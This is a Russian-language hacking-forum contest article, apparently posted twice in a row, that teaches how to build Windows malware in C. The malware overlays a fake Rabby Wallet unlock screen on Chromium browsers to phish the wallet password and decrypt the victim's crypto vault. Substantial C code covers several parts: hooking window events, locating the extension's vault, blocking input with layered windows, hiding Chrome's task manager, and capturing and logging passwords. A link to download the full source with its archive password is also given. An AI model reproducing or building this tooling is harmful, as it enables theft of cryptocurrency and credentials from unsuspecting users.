D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор Alex_Ionescu
Статья написана для Конкурса статей #10
Небольшой дисклеймер
Технике подмены отображаемого на экране окна перекрытием оного - много лет. Больше, чем многим участникам форума. Процесс дешифровки кошельков также прекрасно известен и описан, в частности, на прошлогоднем конкурсе проектов. Данная статья - не "что-то новое и революционное", как заявил коллега в соседнем топике (попутно обдав конкурентов ушатом помоев. крайне неспортивное поведение, осуждаю). Это лишь компиляция довольно простых и давно всем известных вещей. Приступим.
Введение
Вместо долгих вступлений предлагаю перейти сразу к делу. Писать будем "фейк" кошелька Rabby Wallet для chromium-браузеров. Сама страница нашего псевдо-кошелька будет отображаться по средствам IWebBrowser2 (безусловно в целях совместимости, а не по тому, что мне лень). Писать все это дело будем на языке C, в среде Visual Studio 2017. Т.к. имена расширений зачем-то меняются для разных браузеров ориентироваться будем лишь на результаты анализа содержимого log-файлов. Добавление поддержки баз snappy (firefox) и leveldb (chrome) выходит за рамки статьи, т.к. сами заслуживают по отдельной статье, пускай это будет домашним заданием.
Итак, что нам необходимо:
1) дождаться появления нужного нам окна
2) найти место расположения профиля пользователя
3) просмотреть все расширения для данного профиля
4) если нужное нам расширение найдено - "заблокировать" браузер и потребовать ввести пароль от кошелька
5) попытаться расшифровать кошелек используя введенный пароль
6) стать богатым и счастливым
Приступим.
"Кошелек"
Начать, пожалуй, стоит с самого главного - непосредственно создание "фейка". Как уже упоминалось, использовать будем IWebBrowser2, т.е. за рисование и анимации будет отвечать браузер. Школу дизайна им. Татьяныча я не заканчивал и веб-дизайн очень далекая от меня сфера. Однако, у хрома есть замечательные инструменты разработчика - предлагаю ими и воспользоваться.
Т.е. просто копируем код сгенерированной страницы и сохраняем у себя. Помимо этого я удалил все внешние ссылки и "Forgot Password?", а также добавил новый div
HTML: Скопировать в буфер обмена
в который будет выводиться ошибка. Безусловно, можно добавлять/удалять его "на лету", но это сильно усложнит код - для понимания работы нам хватит и такой халтуры.
Собственно, все. Ищем форму ввода, вешаем события onsubmit и oninput для обработки пароля, а также наш div для отображения/скрытия ошибки:
C: Скопировать в буфер обмена
Поиск "жертвы"
Есть несколько вариантов поиска нужного нам окна, но откинув шизофреническое перечисление всех окон в цикле, требующий наличие DLL SetWindowsHookEx и требующий инжекта перехват вызов CreateWindow* остановим свой взор на фукнции SetWinEventHook. Аргумент EVENT_OBJECT_CREATE даст нам возможность поймать момент создания окна,
EVENT_OBJECT_FOCUS - попытку перехватить фокус ввода (довольно забавно было бы дать пользователю возможность управлять "заблокированным" браузером с помощью клавиатуры, не правда ли?), а EVENT_OBJECT_DESTROY и EVENT_OBJECT_LOCATIONCHANGE - момент уничтожения окна и его перемещения/ресайза (наличие призраков в виде нашего псевдо-кошелька без окна браузера выглядело бы не менее забавно).
Однако, найти окно - лишь первый шаг, нам необходимо определить факт наличия нужного нам кошелька. Для этих целей нам прекрасно подойдет функция NtQuerySystemInformation с параметром SystemExtendedHandleInformation. Данная функция покажет нам все открытые в системе файлы, нам останется лишь сопоставить их с нашим процессом. Оставив лишь файлы нашего процесса ищем характерные для расширений хрома "MANIFEST-00????", "00????.log" и "00????.ldb" и двигаемся вверх по дереву каталогов в поисках корневой директории профиля.
Итак, расположение расширений найдено, перейдем непосредственно к поиску нужного нам расширения и, собственно, зашифрованного хранилища (кошелька). В случае с нашим Rabby Wallet искать нужно строку ""hasEncryptedKeyringData":true,"unencryptedKeyringData":[]" (причем искать от конца файла к началу). Нашли? Отлично, можно переходить к финальному этапу.
C: Скопировать в буфер обмена
Рубаем капустку
Первое, что нам необходимо сделать со свежепойманной "жертвой" - "заблокировать" возможность ввода. Для этих целей прекрасно подойдет прозрачное "слоеное" (layered) окно размером с клиентсткую часть окна "жертвы":
C: Скопировать в буфер обмена
Следом - несколько "слоев" разной степени прозрачности для создания тени:
C: Скопировать в буфер обмена
И наконец само окно нашего "кошелька", которая занимается лишь проверкой пароля (т.к. все остальное за нас делает IWebBrowser2):
C: Скопировать в буфер обмена
Как результат - отладочный лог с паролями и расшированным кошельком
Вместо заключения
Данный метод имеет как минимум два серьезных ограничения. Первое - аппаратные кошельки, т.к. вместо мнемонической фразы/приватного ключа в хранилище будет лишь id устройства. Второе (применительно к браузерным расширениям) - расширений может быть несколько. Написать подобный "фейк" для каждого - не проблема, проблема выбрать самое "богатое" (возможность выловить адреса из лога есть не всегда).
Вместо статьи получился какой-то пересказ "по мотивам исходника", но иначе повествование уместилось бы в пару предложений
Исходник: https://www.sendspace.com/file/fbnf9f
Пароль: xss.is
Статья написана для Конкурса статей #10
Небольшой дисклеймер
Технике подмены отображаемого на экране окна перекрытием оного - много лет. Больше, чем многим участникам форума. Процесс дешифровки кошельков также прекрасно известен и описан, в частности, на прошлогоднем конкурсе проектов. Данная статья - не "что-то новое и революционное", как заявил коллега в соседнем топике (попутно обдав конкурентов ушатом помоев. крайне неспортивное поведение, осуждаю). Это лишь компиляция довольно простых и давно всем известных вещей. Приступим.
Введение
Вместо долгих вступлений предлагаю перейти сразу к делу. Писать будем "фейк" кошелька Rabby Wallet для chromium-браузеров. Сама страница нашего псевдо-кошелька будет отображаться по средствам IWebBrowser2 (безусловно в целях совместимости, а не по тому, что мне лень). Писать все это дело будем на языке C, в среде Visual Studio 2017. Т.к. имена расширений зачем-то меняются для разных браузеров ориентироваться будем лишь на результаты анализа содержимого log-файлов. Добавление поддержки баз snappy (firefox) и leveldb (chrome) выходит за рамки статьи, т.к. сами заслуживают по отдельной статье, пускай это будет домашним заданием.
Итак, что нам необходимо:
1) дождаться появления нужного нам окна
2) найти место расположения профиля пользователя
3) просмотреть все расширения для данного профиля
4) если нужное нам расширение найдено - "заблокировать" браузер и потребовать ввести пароль от кошелька
5) попытаться расшифровать кошелек используя введенный пароль
6) стать богатым и счастливым
Приступим.
"Кошелек"
Начать, пожалуй, стоит с самого главного - непосредственно создание "фейка". Как уже упоминалось, использовать будем IWebBrowser2, т.е. за рисование и анимации будет отвечать браузер. Школу дизайна им. Татьяныча я не заканчивал и веб-дизайн очень далекая от меня сфера. Однако, у хрома есть замечательные инструменты разработчика - предлагаю ими и воспользоваться.
Т.е. просто копируем код сгенерированной страницы и сохраняем у себя. Помимо этого я удалил все внешние ссылки и "Forgot Password?", а также добавил новый div
HTML: Скопировать в буфер обмена
<div class="ant-form-item-explain ant-form-item-explain-error" id="msg-div1" style="display: none;"><div role="alert" id="msg-div2"></div></div>
в который будет выводиться ошибка. Безусловно, можно добавлять/удалять его "на лету", но это сильно усложнит код - для понимания работы нам хватит и такой халтуры.
Собственно, все. Ищем форму ввода, вешаем события onsubmit и oninput для обработки пароля, а также наш div для отображения/скрытия ошибки:
C: Скопировать в буфер обмена
Код:
bool HTMLSkin_Init(PBROWSER_FRAME lpFrame)
{
bool bRet = false;
IHTMLElement *lpMainDiv = NULL;
IHTMLElementCollection *lpFormsCollection = NULL;
IDispatch *lpFormDisp = NULL;
do
{
lpMainDiv = HTMLSkin_FindDivByClass(lpFrame, L"root", L"unlock page-has-ant-input relative h-full");
if (!lpMainDiv)
break;
lpFormsCollection = HTMLSkin_GetCollectionByTag(lpMainDiv, L"form");
if (!lpFormsCollection)
break;
VARIANT vtNull = { 0 },
vtIdx = { 0 };
vtIdx.vt = VT_I4;
if (FAILED(lpFormsCollection->lpVtbl->item(lpFormsCollection, vtIdx, vtNull, &lpFormDisp)) || (!lpFormDisp))
break;
IHTMLFormElement *lpFormElement = NULL;
if (FAILED(lpFormDisp->lpVtbl->QueryInterface(lpFormDisp, IID_IHTMLFormElement, (LPVOID*)&lpFormElement)) || (!lpFormElement))
break;
VARIANT vtDisp;
VariantInit(&vtDisp);
vtDisp.vt = VT_DISPATCH;
vtDisp.pdispVal = (IDispatch*)&lpFrame->IDispatchObject_CheckPwd;
lpFormElement->lpVtbl->put_onsubmit(lpFormElement, vtDisp);
lpFormElement->lpVtbl->Release(lpFormElement);
lpFrame->lpControlInputDiv = HTMLSkin_FindDivByClassInt((IHTMLElement*)lpFormDisp, L"ant-form-item-control-input");
if (!lpFrame->lpControlInputDiv)
break;
IHTMLElement *lpErrorMsg1 = Browser_FindElement(lpFrame, L"msg-div1");
if (!lpErrorMsg1)
break;
lpErrorMsg1->lpVtbl->get_style(lpErrorMsg1, &lpFrame->lpErrorMsg1);
lpErrorMsg1->lpVtbl->Release(lpErrorMsg1);
lpFrame->lpErrorMsg2 = Browser_FindElement(lpFrame, L"msg-div2");
if (!lpFrame->lpErrorMsg2)
break;
IHTMLElementCollection *lpDivsCollections = HTMLSkin_GetCollectionByTag((IHTMLElement*)lpFormDisp, L"div");
if (!lpDivsCollections)
break;
IDispatch *lpDivDisp = NULL;
if (SUCCEEDED(lpDivsCollections->lpVtbl->item(lpDivsCollections, vtIdx, vtNull, &lpDivDisp)) && (lpDivDisp))
{
lpDivDisp->lpVtbl->QueryInterface(lpDivDisp, IID_IHTMLElement, (LPVOID*)&lpFrame->lpMainDiv);
lpDivDisp->lpVtbl->Release(lpDivDisp);
}
lpDivsCollections->lpVtbl->Release(lpDivsCollections);
if (!lpFrame->lpMainDiv)
break;
IHTMLElementCollection *lpInputsCollection = HTMLSkin_GetCollectionByTag((IHTMLElement*)lpFormDisp, L"input");
if (!lpInputsCollection)
break;
IDispatch *lpInputDisp = NULL;
if (SUCCEEDED(lpInputsCollection->lpVtbl->item(lpInputsCollection, vtIdx, vtNull, &lpInputDisp)) && (lpInputDisp))
{
lpInputDisp->lpVtbl->QueryInterface(lpInputDisp, IID_IHTMLInputElement, (LPVOID*)&lpFrame->lpInput);
IHTMLElement2 *lpElement2 = NULL;
if (SUCCEEDED(lpInputDisp->lpVtbl->QueryInterface(lpInputDisp, IID_IHTMLElement2, (LPVOID*)&lpElement2)))
{
BSTR bsEvent = SysAllocString(L"oninput");
VARIANT_BOOL vRes;
lpElement2->lpVtbl->attachEvent(lpElement2, bsEvent, (IDispatch*)&lpFrame->IDispatchObject_PwdChanged, &vRes);
lpElement2->lpVtbl->Release(lpElement2);
SysFreeString(bsEvent);
}
bRet = true;
lpInputDisp->lpVtbl->Release(lpInputDisp);
}
lpInputsCollection->lpVtbl->Release(lpInputsCollection);
} while (false);
if (lpFormDisp)
lpFormDisp->lpVtbl->Release(lpFormDisp);
if (lpFormsCollection)
lpFormsCollection->lpVtbl->Release(lpFormsCollection);
if (lpMainDiv)
lpMainDiv->lpVtbl->Release(lpMainDiv);
return bRet;
}
Поиск "жертвы"
Есть несколько вариантов поиска нужного нам окна, но откинув шизофреническое перечисление всех окон в цикле, требующий наличие DLL SetWindowsHookEx и требующий инжекта перехват вызов CreateWindow* остановим свой взор на фукнции SetWinEventHook. Аргумент EVENT_OBJECT_CREATE даст нам возможность поймать момент создания окна,
EVENT_OBJECT_FOCUS - попытку перехватить фокус ввода (довольно забавно было бы дать пользователю возможность управлять "заблокированным" браузером с помощью клавиатуры, не правда ли?), а EVENT_OBJECT_DESTROY и EVENT_OBJECT_LOCATIONCHANGE - момент уничтожения окна и его перемещения/ресайза (наличие призраков в виде нашего псевдо-кошелька без окна браузера выглядело бы не менее забавно).
Однако, найти окно - лишь первый шаг, нам необходимо определить факт наличия нужного нам кошелька. Для этих целей нам прекрасно подойдет функция NtQuerySystemInformation с параметром SystemExtendedHandleInformation. Данная функция покажет нам все открытые в системе файлы, нам останется лишь сопоставить их с нашим процессом. Оставив лишь файлы нашего процесса ищем характерные для расширений хрома "MANIFEST-00????", "00????.log" и "00????.ldb" и двигаемся вверх по дереву каталогов в поисках корневой директории профиля.
Итак, расположение расширений найдено, перейдем непосредственно к поиску нужного нам расширения и, собственно, зашифрованного хранилища (кошелька). В случае с нашим Rabby Wallet искать нужно строку ""hasEncryptedKeyringData":true,"unencryptedKeyringData":[]" (причем искать от конца файла к началу). Нашли? Отлично, можно переходить к финальному этапу.
C: Скопировать в буфер обмена
Код:
...
EVENT_HOOKS Hooks[] = { {EVENT_OBJECT_CREATE},{EVENT_OBJECT_FOCUS},{EVENT_OBJECT_LOCATIONCHANGE},{EVENT_OBJECT_DESTROY} };
for (DWORD i = 0; i < ARRAYSIZE(Hooks); i++)
Hooks[i].hHook = SetWinEventHook(Hooks[i].dwEvent, Hooks[i].dwEvent, hInstance, HandleWinEvent, 0, 0, WINEVENT_OUTOFCONTEXT | WINEVENT_SKIPOWNPROCESS);
...
static void WINAPI BadWndThread(HWND hWnd)
{
DWORD dwCount = 0;
for (DWORD i = 0; i < 10000; i++)
{
HWND hWnd2 = FindWindowExW(hWnd, NULL, L"Intermediate D3D Window", NULL);
if (!hWnd2)
{
Sleep(100);
continue;
}
ShowWindow(hWnd2, SW_HIDE);
ShowWindow(hWnd, SW_HIDE);
break;
}
return;
}
static void WINAPI HandleWinEvent(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
{
do
{
if ((event == EVENT_OBJECT_CREATE) && (idObject == OBJID_WINDOW))
{
WCHAR szClass[1024];
GetClassNameW(hwnd, szClass, ARRAYSIZE(szClass) - 1);
PRABBY_VAULT lpVault = NULL;
PBROWSER_INFO lpInfo = NULL;
PINSTANCE lpInstance = NULL;
if (!lstrcmpiW(szClass, L"Chrome_WidgetWin_1"))
{
DWORD dwStyle = GetWindowLongPtr(hwnd, GWL_STYLE);
if (((dwStyle & WS_POPUP) || (dwStyle & 0x80)) && (IsOurInstance(hwnd)))
{
/// прячем "плохие" окна вроде "Диспетчер задач" хром
CloseHandle(CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BadWndThread, hwnd, 0, NULL));
break;
}
if (!GetVault(hwnd, &lpVault))
break;
lpInfo = (PBROWSER_INFO)MemAlloc(sizeof*lpInfo);
if (!lpInfo)
{
Rabby_FreeVault(lpVault);
break;
}
lpInstance = AddNewInstance(hwnd, lpVault);
if (!lpInstance)
break;
}
if (!lpInfo)
break;
lpInfo->hWnd = hwnd;
lpInfo->lpInstance = lpInstance;
CloseHandle(CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BrowserWndThread, lpInfo, 0, NULL));
break;
}
PINSTANCE lpInstance = FindInstance(hwnd);
if (!lpInstance)
break;
switch (event)
{
case EVENT_OBJECT_DESTROY:
{
PostMessage(lpInstance->hFakeWnd, WM_CLOSE, NULL, NULL);
break;
}
case EVENT_OBJECT_LOCATIONCHANGE:
{
PostMessage(lpInstance->hFakeWnd, WM_MOVE_WND, NULL, NULL);
break;
}
case EVENT_OBJECT_FOCUS:
{
if (!lpInstance->hFakeWnd)
break;
AttachThreadInput(GetCurrentThreadId(), lpInstance->dwThreadId, true);
SetFocus(lpInstance->hFakeWnd);
AttachThreadInput(GetCurrentThreadId(), lpInstance->dwThreadId, false);
break;
}
}
} while (false);
return;
}
Рубаем капустку
Первое, что нам необходимо сделать со свежепойманной "жертвой" - "заблокировать" возможность ввода. Для этих целей прекрасно подойдет прозрачное "слоеное" (layered) окно размером с клиентсткую часть окна "жертвы":
C: Скопировать в буфер обмена
Код:
RECT rcParent, rc;
GetWindowRect(lpGUI->hBrowserWnd, &rcParent);
memcpy(&rc, &rcParent, sizeof(rcParent));
int nWidth = rcParent.right - rcParent.left,
nHeight = rcParent.bottom - rcParent.top;
HWND hRenderWidgetHostWnd = FindWindowExW(lpGUI->hBrowserWnd, NULL, L"Chrome_RenderWidgetHostHWND", NULL);
if (hRenderWidgetHostWnd)
{
GetWindowRect(hRenderWidgetHostWnd, &rc);
nWidth = rc.right - rc.left;
nHeight = rc.bottom - rcParent.top;
}
MoveWindow(hWnd, rc.left, rcParent.top, nWidth, nHeight, true);
C: Скопировать в буфер обмена
Код:
case WM_DROP_SHADOW:
{
RECT rc;
GetWindowRect((HWND)wParam, &rc);
DWORD dwWidth = rc.right - rc.left + dwId * 2,
dwHeight = rc.bottom - rc.top + dwId * 2;
MoveWindow(hDlg, rc.left - dwId, rc.top - dwId, dwWidth, dwHeight, true);
SetLayeredWindowAttributes(hDlg, 0, (BYTE)dwId, LWA_ALPHA);
SendMessage(GetParent(hDlg), WM_DROP_SHADOW, wParam, NULL);
ShowWindow(hDlg, HideOrShow(lpGUI));
break;
}
C: Скопировать в буфер обмена
Код:
case WM_PWD_CHECK:
{
if (!lpFrame)
break;
BSTR bsValue;
lpFrame->lpInput->lpVtbl->get_value(lpFrame->lpInput, &bsValue);
if (bsValue)
{
DWORD dwStrLen = SysStringLen(bsValue);
if (dwStrLen)
{
bool bGood = false;
LPSTR lpPassword = (LPSTR)MemQuickAlloc(dwStrLen * sizeof(WCHAR) + 1);
if (lpPassword)
{
DWORD dwUtf8StrLen = StrUnicodeToUtf8(bsValue, dwStrLen, lpPassword, dwStrLen * sizeof(WCHAR));
bGood = Crypt_CheckPassword(lpGUI->lpVault, lpPassword);
MemFree(lpPassword);
}
if (!bGood)
{
WCHAR szBadPassword[MAX_PATH];
wsprintfW(szBadPassword, L"wrong password: %s", bsValue);
OutputDebugStringW(szBadPassword);
HTMLSkin_ShowError(lpFrame, L"Incorrect password");
break;
}
else
{
WCHAR szGoodPassword[MAX_PATH];
wsprintfW(szGoodPassword, L"good password: %s", bsValue);
OutputDebugStringW(szGoodPassword);
}
SendMessage(lpGUI->hBrowserWnd, WM_CLOSE, NULL, NULL);
}
else
HTMLSkin_ShowError(lpFrame, L"Enter the Password to Unlock");
SysFreeString(bsValue);
}
else
HTMLSkin_ShowError(lpFrame, L"Enter the Password to Unlock");
break;
}
case WM_PWD_CHANGED:
{
if (!lpFrame)
break;
HTMLSkin_ShowError(lpFrame, NULL);
break;
}
Вместо заключения
Данный метод имеет как минимум два серьезных ограничения. Первое - аппаратные кошельки, т.к. вместо мнемонической фразы/приватного ключа в хранилище будет лишь id устройства. Второе (применительно к браузерным расширениям) - расширений может быть несколько. Написать подобный "фейк" для каждого - не проблема, проблема выбрать самое "богатое" (возможность выловить адреса из лога есть не всегда).
Вместо статьи получился какой-то пересказ "по мотивам исходника", но иначе повествование уместилось бы в пару предложений
Исходник: https://www.sendspace.com/file/fbnf9f
Пароль: xss.is